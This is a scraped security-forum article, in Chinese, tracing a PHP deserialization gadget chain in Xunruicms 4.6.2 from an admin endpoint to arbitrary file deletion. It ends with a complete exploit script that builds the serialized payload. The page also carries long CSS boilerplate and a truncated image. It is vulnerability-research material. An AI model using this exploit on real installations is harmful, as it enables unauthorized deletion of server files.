rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);-ms-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);-ms-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@media screen and (max-width:1100px){}</style><style>@media(pointer:coarse){@media only screen and (max-device-width:1024px){}@media only screen and (max-device-width:414px){}@media only screen and (max-device-width:320px){}}</style><style>@media screen and (max-width:768px){}</style><style>/*!
|
||||
* Waves v0.7.5
|
||||
* http://fian.my.id/Waves
|
||||
*
|
||||
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
|
||||
* Released under the MIT license
|
||||
* https://github.com/fians/Waves/blob/master/LICENSE
|
||||
*/</style><style>@media(max-height:620px){}@media(max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media(pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@media(-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@media(-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@media(-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(Line truncated
|
||||
<body>
|
||||
<div class="global-nav mb-50" style="display:none !important">
|
||||
|
||||
</div>
|
||||
<div class="top-alert mt-60 clearfix text-center" style="display:none !important">
|
||||
<!--[if lt IE 9]>
|
||||
<div class="alert alert-danger topframe" role="alert">你的浏览器实在<strong>太太太太太太旧了</strong>,放学别走,升级完浏览器再说
|
||||
<a target="_blank" class="alert-link" href="http://browsehappy.com">立即升级</a>
|
||||
</div>
|
||||
<![endif]-->
|
||||
|
||||
</div>
|
||||
<div class=wrap>
|
||||
<div class=container>
|
||||
<div class="row mt-10">
|
||||
<div class="col-xs-12 col-md-9 main">
|
||||
<div class=widget-article>
|
||||
<h3 class="title word-wrap">Xunruicms反序列化漏洞利用链挖掘过程</h3>
|
||||
<ul class=taglist-inline>
|
||||
<li class=tagPopup><a class=tag href=https://forum.butian.net/topic/48>漏洞分析</a></li>
|
||||
</ul>
|
||||
<div class="content mt-10">
|
||||
<div class="quote mb-20">
|
||||
这个漏洞点是某个群友发出来的,于是就想着自己挖掘一下利用链,学习一下,然后就有了这篇文章
|
||||
</div>
|
||||
<textarea id=md_view_content style=display:none>测试环境
|
||||
----
|
||||
|
||||
V 4.6.2 (似乎小于这个版本的都行)
|
||||
|
||||
漏洞点
|
||||
---
|
||||
|
||||
```php
|
||||
\xunruicms\dayrui\Fcms\Core\Helper.php
|
||||
```
|
||||
|
||||
```php
|
||||
function dr_string2array($data, $limit = '') {
|
||||
|
||||
if (!$data) {
|
||||
return [];
|
||||
} elseif (is_array($data)) {
|
||||
$rt = $data;
|
||||
} else {
|
||||
$rt = json_decode($data, true);
|
||||
if (!$rt) {
|
||||
$rt = unserialize(stripslashes($data));
|
||||
}
|
||||
}
|
||||
|
||||
if (is_array($rt) && $limit) {
|
||||
return dr_arraycut($rt, $limit);
|
||||
}
|
||||
|
||||
return $rt;
|
||||
}
|
||||
```
|
||||
|
||||
这里的**unserialize**函数里面存在一个`stripslashes`函数,这个可以绕过,只有将$data中的`\`修改为`\\`即可,在此之前,需要解决
|
||||
|
||||
`json_decode`的问题,正常的json字符串会被解析,然后返回解析的值,如果传入的是不正常的字符串,它会解析失败,返回false,然后才能进入`unserialize`
|
||||
|
||||
在这个过程中,$data并没有其他过多的检查,从而造成了反序列化漏洞
|
||||
|
||||
传参入口寻找
|
||||
------
|
||||
|
||||
为了能够利用这个unserialize函数,必须找到$data的输入点,ALT+F7搜索`dr_string2array`函数,找到了许多结果
|
||||
|
||||

|
||||
|
||||
找了很多,发现只有这个函数操作性比较强,其他的调用有许多是不可控的,或者是过滤
|
||||
|
||||
```php
|
||||
xunruicms\dayrui\Fcms\Control\Admin\Field.php
|
||||
```
|
||||
|
||||

|
||||
|
||||
看看这个`import_add`方法
|
||||
|
||||
首先,先判断是不是post请求,进入if语句,然后接收一个post参数code , 然后通过`\r\n`对字符串进行分割,变为数组
|
||||
|
||||
如果post的code有数值,就不会进入if(!$arr), 绕后就遍历这个数组,把数组中的每一个数值都传到`dr_string2array`中,然后就是触发反序列化
|
||||
|
||||
下一个问题,如何才能进入这个`import_add`函数呢
|
||||
|
||||
在路由解析的过程中会接收两个参数,`c`和`m` 其中c获取的是类名,m获取的是方法名 ,获取之后会调用对应方法
|
||||
|
||||
尝试访问
|
||||
|
||||
```php
|
||||
http://127.0.0.1/?c=field&m=import_add
|
||||
```
|
||||
|
||||
出现404
|
||||
|
||||
观察一下目录,因为这个field类在Admin目录里面的,可能要访问admin.php
|
||||
|
||||
```php
|
||||
http://127.0.0.1/admin3a609e1d6cff.php?c=field&m=import_add
|
||||
```
|
||||
|
||||
在没有登录的情况下,会跳转到登录入口,所以要先登录管理员账号,可以通过下断点查看有没有执行到import\_add方法
|
||||
|
||||
```php
|
||||
POST ?/admin3a609e1d6cff.php?c=field&m=import_add
|
||||
code = xxxx
|
||||
```
|
||||
|
||||
利用链寻找
|
||||
-----
|
||||
|
||||
第一步寻找`__destruct()`方法,只有5个,一个一个找
|
||||
|
||||

|
||||
|
||||
第一个
|
||||
|
||||
```php
|
||||
public function __destruct()
|
||||
{
|
||||
if ($this->memcached instanceof Memcached) {
|
||||
$this->memcached->quit();
|
||||
} elseif ($this->memcached instanceof Memcache) {
|
||||
$this->memcached->close();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
这个`$this->memcached`可控,但是要是Memcached 或 Memcached的实例 ,操作空间不大 pass
|
||||
|
||||
第二个
|
||||
|
||||
```php
|
||||
public function __destruct()
|
||||
{
|
||||
if (is_resource($this->SMTPConnect)) {
|
||||
try {
|
||||
$this->sendCommand('quit');
|
||||
} catch (ErrorException $e) {
|
||||
$protocol = $this->getProtocol();
|
||||
$method = 'sendWith' . ucfirst($protocol);
|
||||
log_message('error', 'Email: ' . $method . ' throwed ' . $e);
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
`$this->SMTPConnect`可控,但是要是一个资源类型,后面进入`sendCommand`方法,里面操作空间不大 pass
|
||||
|
||||
第三个
|
||||
|
||||
```php
|
||||
public function __destruct()
|
||||
{
|
||||
if (isset($this->scratch)) {
|
||||
self::wipeDirectory($this->scratch);
|
||||
$this->scratch = null;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
这个会调用`self::wipeDirectory` ,`$this->scratch`可控,跟进查看
|
||||
|
||||
```php
|
||||
private static function wipeDirectory(string $directory): void
|
||||
{
|
||||
if (is_dir($directory)) {
|
||||
// Try a few times in case of lingering locks
|
||||
$attempts = 10;
|
||||
|
||||
while ((bool) $attempts && ! delete_files($directory, true, false, true)) {
|
||||
// @codeCoverageIgnoreStart
|
||||
$attempts--;
|
||||
usleep(100000); // .1s
|
||||
// @codeCoverageIgnoreEnd
|
||||
}
|
||||
|
||||
@rmdir($directory);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
这里调用了`delete_files`似乎可以进行文件删除,继续跟进`delete_files`
|
||||
|
||||
```php
|
||||
//\xunruicms\dayrui\CodeIgniter\System\Helpers\filesystem_helper.php
|
||||
function delete_files(string $path, bool $delDir = false, bool $htdocs = false, bool $hidden = false): bool
|
||||
{
|
||||
$path = realpath($path) ?: $path;
|
||||
$path = rtrim($path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
|
||||
try {
|
||||
foreach (new RecursiveIteratorIterator(
|
||||
new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
|
||||
RecursiveIteratorIterator::CHILD_FIRST
|
||||
) as $object) {
|
||||
$filename = $object->getFilename();
|
||||
if (! $hidden && $filename[0] === '.') {
|
||||
continue;
|
||||
}
|
||||
if (! $htdocs || ! preg_match('/^(\.htaccess|index\.(html|htm|php)|web\.config)$/i', $filename)) {
|
||||
$isDir = $object->isDir();
|
||||
if ($isDir && $delDir) {
|
||||
rmdir($object->getPathname());
|
||||
|
||||
continue;
|
||||
}
|
||||
if (! $isDir) {
|
||||
unlink($object->getPathname());
|
||||
}
|
||||
}
|
||||
}
|
||||
return true;
|
||||
} catch (Throwable $e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
1. 首先,使用 `realpath($path) ?: $path` 将传入的 `$path` 转换为绝对路径,如果转换失败,则保留原始路径。
|
||||
2. 然后,使用 `rtrim($path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR` 将路径末尾的目录分隔符删除,并在末尾添加一个目录分隔符。
|
||||
3. 接下来,使用`RecursiveDirectoryIterator`
|
||||
|
||||
类和`RecursiveIteratorIterator`
|
||||
|
||||
类遍历指定路径下的所有文件和目录。
|
||||
|
||||
|
||||
- `RecursiveDirectoryIterator` 用于递归地遍历目录,并跳过 "." 和 ".." 目录。
|
||||
- `RecursiveIteratorIterator` 使用 `CHILD_FIRST` 模式,确保先处理子目录中的文件和目录,然后再处理父目录中的文件和目录。
|
||||
4. 对于遍历到的每个文件或目录`$object`执行以下操作:
|
||||
|
||||
|
||||
- 获取文件名 `$filename = $object->getFilename()`。
|
||||
- 如果 `$hidden` 为 `false`,并且文件名以 `.` 开头,则跳过当前循环,不处理该文件。
|
||||
- 如果 `$htdocs` 为 `true`,并且文件名匹配 `.htaccess`、`index.html`、`index.htm`、`index.php` 和 `web.config` 则跳过当前循环,不处理该文件。
|
||||
- 检查文件类型:
|
||||
|
||||
|
||||
- 如果是目录且 `$delDir` 为 `true`,则使用 `rmdir($object->getPathname())` 删除目录,并继续下一次循环。
|
||||
- 如果不是目录,则使用 `unlink($object->getPathname())` 删除文件。
|
||||
5. 循环结束后,返回 `true` 表示删除操作成功。
|
||||
6. 如果在删除过程中发生任何异常(`Throwable`),则捕获异常,并返回 `false` 表示删除操作失败。
|
||||
|
||||
写poc试了一下,发现没有在`wipeDirectory`中没有进入`delete_files`中,报错了,函数导向错误
|
||||
|
||||

|
||||
|
||||
因为`delete_files`并不存在于某个类里面,只是一个函数,要利用这个方法需要引用它所在的文件,利用的类里面已经引用了这个文件,就是不跳转
|
||||
|
||||
TT^TT
|
||||
|
||||
第四个
|
||||
|
||||
```php
|
||||
public function __destruct()
|
||||
{
|
||||
unset($this->data);
|
||||
unset($this->cache);
|
||||
unset($this->ret);
|
||||
unset($this->icon);
|
||||
unset($this->result_array);
|
||||
unset($this->nbsp_str);
|
||||
unset($this->nbsp);
|
||||
unset($this->result);
|
||||
}
|
||||
```
|
||||
|
||||
这个只是用来释放变量,没操作空间 ,pass
|
||||
|
||||
第五个
|
||||
|
||||
```php
|
||||
public function __destruct()
|
||||
{
|
||||
if (isset($this->redis)) {
|
||||
$this->redis->close();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
这个`$this->redis`可控,这里有两个方向,一个触发某个类的`__call()` , 另外一个是找到一个含有`close()`方法的类
|
||||
|
||||
经过一番查找,没有找到能利用的**\_\_call()** ,只好去看看close()了
|
||||
|
||||
全局搜索close()方法找到了15个方法,其中有7个是js文件的,忽略
|
||||
|
||||

|
||||
|
||||
经过一番查找,找到这个可以用
|
||||
|
||||
```php
|
||||
//\xunruicms\dayrui\CodeIgniter\System\Session\Handlers\MemcachedHandler.php
|
||||
public function close(): bool
|
||||
{
|
||||
if (isset($this->memcached)) {
|
||||
if (isset($this->lockKey)) {
|
||||
$this->memcached->delete($this->lockKey);
|
||||
}
|
||||
if (! $this->memcached->quit()) {
|
||||
return false;
|
||||
}
|
||||
$this->memcached = null;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
```
|
||||
|
||||
这里的`$this->memcached`和`$this->lockKey`都可控,这里也可以触发任意类的`__call`方法,也可以触发任意类的`delete()`和`quit()`方法
|
||||
|
||||
这里优先选择`delete()` ,因为其参数`$this->lockKey`可控
|
||||
|
||||
全局搜索`delete()`方法,找到这个
|
||||
|
||||
```php
|
||||
public function delete() {
|
||||
@unlink($this->fullname);
|
||||
}
|
||||
```
|
||||
|
||||
`$this->fullname`可控,这里可以任意文件删除了,但是这是无参数方法,不能跳转到这利用
|
||||
|
||||
还一个:
|
||||
|
||||
```php
|
||||
//\xunruicms\dayrui\CodeIgniter\System\Cache\Handlers\FileHandler.php
|
||||
public function delete(string $key)
|
||||
{
|
||||
$key = static::validateKey($key, $this->prefix);
|
||||
|
||||
return is_file($this->path . $key) && unlink($this->path . $key);
|
||||
}
|
||||
```
|
||||
|
||||
其中$key是上面传来的参数`$this->lockKey` 并且`$this->prefix`和`$this->path`也可控 ,可以看到后面会将`$this->path`和`$key`进行拼接,进行判断是否是文件,如果是文件则调用`unlink`方法进行文件删除
|
||||
|
||||
现在主要关注`validateKey`方法对$key的处理
|
||||
|
||||
```php
|
||||
public static function validateKey($key, $prefix = ''): string
|
||||
{
|
||||
if (! is_string($key)) {
|
||||
throw new InvalidArgumentException('Cache key must be a string');
|
||||
}
|
||||
if ($key === '') {
|
||||
throw new InvalidArgumentException('Cache key cannot be empty.');
|
||||
}
|
||||
|
||||
$reserved = config('Cache')->reservedCharacters ?? self::RESERVED_CHARACTERS;
|
||||
if ($reserved && strpbrk($key, $reserved) !== false) {
|
||||
throw new InvalidArgumentException('Cache key contains reserved characters ' . $reserved);
|
||||
}
|
||||
|
||||
// If the key with prefix exceeds the length then return the hashed version
|
||||
return strlen($prefix . $key) > static::MAX_KEY_LENGTH ? $prefix . md5($key) : $prefix . $key;
|
||||
}
|
||||
```
|
||||
|
||||
这个方法,在确保传入的$key不为空,并且是字符串的前提下,才能正常进行下面操作
|
||||
|
||||
```php
|
||||
$reserved = config('Cache')->reservedCharacters ?? self::RESERVED_CHARACTERS;
|
||||
```
|
||||
|
||||
获取配置中的保留字符列表。如果 `config('Cache')->reservedCharacters` 存在,则将其赋值给 `$reserved`;否则,使用 `self::RESERVED_CHARACTERS` 的默认值。
|
||||
|
||||
```php
|
||||
public string $reservedCharacters = '{}()/\\@:';
|
||||
```
|
||||
|
||||
```php
|
||||
return strlen($prefix . $key) > static::MAX_KEY_LENGTH ? $prefix . md5($key) : $prefix . $key;
|
||||
```
|
||||
|
||||
- 首先,计算添加前缀后键的长度是否大于预定义的最大键长度 `static::MAX_KEY_LENGTH`。
|
||||
- 如果大于最大键长度,则返回将 `$prefix . md5($key)` 处理后的哈希值作为缓存键。这是为了确保最终返回的键不会超过最大键长度。
|
||||
- 如果小于等于最大键长度,则返回将 `$prefix . $key` 拼接作为缓存键
|
||||
|
||||
经过测试,在delete方法中,如果传入`$key`为要删除的文件名,在经过`validateKey`处理后,不会对key照常改变,直接返回`key`,而`$this->prefix`不需要修改,默认就行
|
||||
|
||||
在拼接文件路径的`$this->path` 可以是绝对路径,也可以是相对路径,默认是public目录下
|
||||
|
||||
在写exp的过程中,遇到一个问题,就是类的属性都是`protected`类型的,不能直接修改值
|
||||
|
||||
因为这个cms安装条件是PHP7.4+ , 由于`PHP7.1+`对属性类型不敏感 , 可以将`protected`修改为`public`类型
|
||||
|
||||
最后的exp
|
||||
------
|
||||
|
||||
```php
|
||||
//任意文件删除
|
||||
<?php
|
||||
namespace CodeIgniter\Cache\Handlers;
|
||||
use CodeIgniter\Session\Handlers\BaseHandler;
|
||||
use CodeIgniter\Session\Handlers\MemcachedHandler;
|
||||
class RedisHandler extends BaseHandler
|
||||
{
|
||||
public $redis;
|
||||
public function __construct()
|
||||
{
|
||||
$this->redis =new MemcachedHandler();
|
||||
}
|
||||
}
|
||||
|
||||
namespace CodeIgniter\Session\Handlers;
|
||||
use CodeIgniter\Session\Handlers\BaseHandler;
|
||||
use CodeIgniter\Cache\Handlers\FileHandler;
|
||||
class MemcachedHandler extends BaseHandler
|
||||
{
|
||||
public $memcached ;
|
||||
public $lockKey ;
|
||||
|
||||
public function __construct()
|
||||
{
|
||||
$this->memcached=new FileHandler();
|
||||
$this->lockKey = "1.txt"; //文件名
|
||||
}
|
||||
}
|
||||
|
||||
namespace CodeIgniter\Session\Handlers;
|
||||
abstract class BaseHandler
|
||||
{
|
||||
}
|
||||
|
||||
namespace CodeIgniter\Cache\Handlers;
|
||||
use CodeIgniter\Session\Handlers\BaseHandler;
|
||||
class FileHandler extends BaseHandler
|
||||
{
|
||||
public $path;
|
||||
public function __construct()
|
||||
{
|
||||
$this->path="./"; //路径
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
use CodeIgniter\Cache\Handlers\RedisHandler;
|
||||
$str = serialize(new RedisHandler());
|
||||
$newStr = str\_replace('\\', '\\\\', $str);
|
||||
echo urlencode($newStr)."\n";
|
||||
```
|
||||
|
||||
END
|
||||
---</textarea>
|
||||
<div id=layer-photos-demo>
|
||||
<div id=md_view><div class=markdown-body><h2 blockindex=0>测试环境</h2>
|
||||
<p blockindex=1>V 4.6.2 (似乎小于这个版本的都行)</p>
|
||||
<h2 blockindex=2>漏洞点</h2>
|
||||
<pre blockindex=3><code class="hljs language-php">\xunruicms\dayrui\Fcms\Core\Helper.php
|
||||
</code></pre>
|
||||
<pre blockindex=4><code class="hljs language-php"><span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>dr_string2array</span>(<span class=hljs-params><span class=hljs-variable>$data</span>, <span class=hljs-variable>$limit</span> = <span class=hljs-string>''</span></span>) </span>{
|
||||
|
||||
<span class=hljs-keyword>if</span> (!<span class=hljs-variable>$data</span>) {
|
||||
<span class=hljs-keyword>return</span> [];
|
||||
} <span class=hljs-keyword>elseif</span> (is_array(<span class=hljs-variable>$data</span>)) {
|
||||
<span class=hljs-variable>$rt</span> = <span class=hljs-variable>$data</span>;
|
||||
} <span class=hljs-keyword>else</span> {
|
||||
<span class=hljs-variable>$rt</span> = json_decode(<span class=hljs-variable>$data</span>, <span class=hljs-literal>true</span>);
|
||||
<span class=hljs-keyword>if</span> (!<span class=hljs-variable>$rt</span>) {
|
||||
<span class=hljs-variable>$rt</span> = unserialize(stripslashes(<span class=hljs-variable>$data</span>));
|
||||
}
|
||||
}
|
||||
|
||||
<span class=hljs-keyword>if</span> (is_array(<span class=hljs-variable>$rt</span>) && <span class=hljs-variable>$limit</span>) {
|
||||
<span class=hljs-keyword>return</span> dr_arraycut(<span class=hljs-variable>$rt</span>, <span class=hljs-variable>$limit</span>);
|
||||
}
|
||||
|
||||
<span class=hljs-keyword>return</span> <span class=hljs-variable>$rt</span>;
|
||||
}
|
||||
</code></pre>
|
||||
<p blockindex=5>这里的<strong>unserialize</strong>函数里面存在一个<code>stripslashes</code>函数,这个可以绕过,只有将$data中的<code>\</code>修改为<code>\\</code>即可,在此之前,需要解决</p>
|
||||
<p blockindex=6><code>json_decode</code>的问题,正常的json字符串会被解析,然后返回解析的值,如果传入的是不正常的字符串,它会解析失败,返回false,然后才能进入<code>unserialize</code></p>
|
||||
<p blockindex=7>在这个过程中,$data并没有其他过多的检查,从而造成了反序列化漏洞</p>
|
||||
<h2 blockindex=8>传参入口寻找</h2>
|
||||
<p blockindex=9>为了能够利用这个unserialize函数,必须找到$data的输入点,ALT+F7搜索<code>dr_string2array</code>函数,找到了许多结果</p>
|
||||
<p blockindex=10><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAdkAAAFJCAIAAABYQ8AWAAAgAElEQVR4nOydd1gTyRvH30lCb9Kb0qVJFZQuYgFULBRRwd7P7umd5xU97/TOeuqpZz+72AuiIooKgooFsGCjKCC9KZ2Q7Pz+CIQASQjIGfQ3n2cfns3UdyabL+/OzO6gmlomEAgEAkGs0MRtAIFAIBCIFhMIBEIXgGgxgUAgiJ9O02KcduNMchmFMf9YVnr05RdVAmJ5eRdzOv59bTvqxVWPI8Jff6QAAOP63OTk3HphtXx8cTepUOAQOf746PKt9ywR7OTALnoQnVjW3B7qw9Pzl55UCTa46N6F6KyatqsQb9PETvm7N+kfWG0mw/XVlbXNGoVxWeqz/Cq2wJaW5bz/wK8nMWa+f5X5gfXFdBHhawJ11twdfvxbL8/dyFRdmm90XXFaev2wQ8nHx2g3pMdFx7+Z+sLrj2WjrRRpiJvw2TqHvmvxd5difnNXEKle1u1v9b33qU0/Gbl9iBZ+8Vd//7ujTx2Yb6eI+KbPPzjKcGG8upIM/+j6j4UfjVfE3V/eW1JQje8SbiObfmrFj29ePL7tr9136ryW/TkvaKSPBT3v6Z3I8JP/7j31sERzxM7IY5PNpPgYXBk+VTfoktHkXee2BxkKrEUsTRNmDLP8fXZZHV2xu343aYREjGJWFOflFZfWSSpraHbXkGUg/qbxqY4qu3voVFy51oBQvz5qdCEp699E77hRaT3As7+ZEh0hAMA4P3rnxWcK9sHBfXSl+NT47vqBMy8l5GVaOSK4vqq8VsFu+OSB2pIim0ogdAqMTitJUlKKpTPx+IPF5ggA8I1F3fxqT9Xs9EHcj+9H+mhxkyOk7j/LZaebe0zm7Zjv7OiNl76klDT0CpzgJi9qvU/vXC9RGvPPmqHaNACwnPm9x/rAwFVWKRu9pPn9nGTl5KAucG/mTu+K0yEaU7UiKv4a+OFYsOYGm3tPfnHIPzjKcLZWb3sJIRXmXJg8crSEnqG1k4tT0B8nlxvqVZ2b6PTzfH1peV2b3jYWw5fvmKutpiz3Ib8W67W2oTzq7KU61VG/ruUKMcYfH6ybvB4tP/B9H0Xe9J+9aXzBGFfnPIu69jD1Axsr2k6a3ldLpChmwZPYS7fTy9gcfaSrWriMGGShwU8cW1OXnvi4hC4pWVtewwYQqMUY4/fvsusYhob6SvSmPqHR6aBqbs5XiAGATqOzu/UaM8FOGaHyxPCdN2X8lwwyRQgXPdx3KM3chggxQQx0nhbT6G2VRac1d0Rk7BaunLE3KOlVbuzNM/TZi93lAAAhGkhLSQJgXPXs7BXKN8hOXuAPA2OcePlMuuG0fUO6NQTJDwoMVE+Ul6UBYKr41vq/3vuvmGjW5Kwj4C2NyklN/eip3qpUAME/Rkkp6Sq1iYdvL7dq/MVmJmlShUabG//x8FKRtG3mnP1v6ppCaoreVIHs7ZUDHFY1BrE/ZL7OrYK7wXDpVKMci6VprcG4Ku3WjatJ+TUMKWkaq1a0KABgZiacu5FeKaVh62apJ8fKS0l6/PLORTmVqZ6a9LaUDtfnxd1Oq9dyCvWqi7h0+2XIYAsBtwLAfv/iNcuov6NR85sBhIBBpwMAu/zt40wFeytVCd5KhRmAiA4TxEInajFN9LFnXJ2XU6fZXVluwM8RsUyl6GlOB5lnj36oBgBm8VuoyBrhsJeBK96/zJb1K4s8MsNMwG03sB+cPfrSafKvT2e4zX1W3RBYK18nNdvlEgCzND0tv25vGnXl8ORGzWKx6wHCpuhfkYCaj8CqW2ylvRgAgHbTT3+vxMfCfIAepbUAsgKNpzOaXMu61LgkOWc9ST5jERzk7ebuPDOsRl5XU1GShlD1vZ9dvf7xP/Ti+BiNNvpIHE3jA1WQkpgPutajfAxyTl96KFoUxnWvHr2oALneI/wG60sAgLmZjvSx03eSEpLtRzgoCasQY2ZWzO3Eak2vABtNFcrH4szps3cYQR49FfhcA8y0V2+kLYMtZKtf3w1/kl/5sZYFAMCurQR2/IVdjxGrtrKqTjqTGh5g0437PwAhBCVPwva9pAHg2moAdG1f2E0AYNdVgPSXM6JO+KpghF+O7m1n2V1Xu0XE+5y8xOQXI4YNFLUkhBC82hJof5SjS5X5TMALHO43jDVU5jPBsylx7qUZIy94bN373UBLq5cb56tvvr3D/UOljLZmt+wdnjbhY8Kvz9EXwT+pvHH4aCZNMaWq/9azg0tqpHsYajeqNi7PesfUMVRr9s+mIunv4ZPPA0AZKGmAjJKGVN3Hwo+gpKEkw0lQBwCQvefAs5FzrOUEGMBgSEDaP2MdTkkBVBW8ylFf8O/UZv+GMCv3yt7bRpPHWcgghGjddI04ni2uf7nrhy2p9j8e8W9yV2tSrsVKefiYtBRIsTSNHzKGHiMGO2rJ0gqy2S3meoVElRUVAjB0jHo0GInoysZGinc